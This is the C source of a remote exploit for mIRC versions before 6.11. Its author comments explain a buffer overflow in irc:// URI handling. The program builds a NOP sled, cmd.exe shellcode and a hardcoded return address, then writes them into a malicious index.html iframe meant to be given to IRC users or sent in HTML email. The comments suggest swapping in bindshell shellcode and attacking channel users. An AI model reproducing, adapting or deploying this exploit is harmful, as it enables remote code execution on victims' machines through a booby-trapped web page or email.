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- /** gEEk-fuck-khaled.c -- remote mirc < 6.11 exploit by blasty
- **
- ** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
- **
- ** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
- ** nobody had written an exploit yet. So I decided to start writing one.
- ** Since this was my first time coding a exploit for windows, it took some
- ** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
- **
- ** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
- ** overflow, and when more then 998 bytes are given EIP will be overwritten.
- **
- ** At first I was thinking of a simple solution to get this exploitable. Since
- ** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
- ** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
- **
- ** This exploit will write an malicious HTML file containing an iframe executing the
- ** irc:// address. So you can give this to anyone on IRC for example ;)
- ** The shellcode included does only execute cmd.exe, because I don't want to be this
- ** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
- ** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
- ** some tweaking.
- ** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
- **
- ** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
- ** mIRC will start automatically when an irc:// is executed, so you can also send somebody
- ** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)
- **
- ** Anyway, have fun with it, and dont own complete newb #chans :P
- **
- ** Greetz to:
- ** inz, demz, gEEkz team
- **
- ** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
- ** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
- **
- ** -- blasty (blasty@geekz.nl / www.geekz.nl)
- **/
-
- #include <stdio.h>
-
-
- /* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
- unsigned char shellcode[] =
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
- "\x44\x80\xbf\x77" // 0x78bf8044 <- adress of system()
- "\xff\xd0"; // call system()
-
-
- char jmpback[] =
- "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)
-
- char buffer[1100], fstring[1300]; // heh, need to clean this up
-
- int main(int argc, char *argv[]) {
- FILE *evil;
-
- fprintf(stdout, "---------------------------------------------\n"
- "mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
- "---------------------------------------------\n\n");
-
- // NOPslides are cool
- memset(buffer, 0x90, sizeof(buffer) - 1);
-
- // place shellcode in buffer
- memcpy(buffer + 20, shellcode, strlen(shellcode));
-
- // took this one from ntdll.dll (jmp esp)
- *(long *)&buffer[994] = 0x77F4801C;
-
- // place jmpback shellcode in buffer
- memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));
-
- printf("[+] Evil buffer constructed\n");
-
-
- // open HTML file for writing
- if((evil = fopen("index.html", "a+")) != NULL) {
-
- // construct evil string :)
- sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);
-
- // write string to file
- fputs(fstring, evil);
-
- // close file
- fclose(evil);
-
- printf("[+] Evil HTML file written!\n");
- return(0);
- } else {
- // uh oh.. :/
- fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
- exit(1);
- }
- }
-
-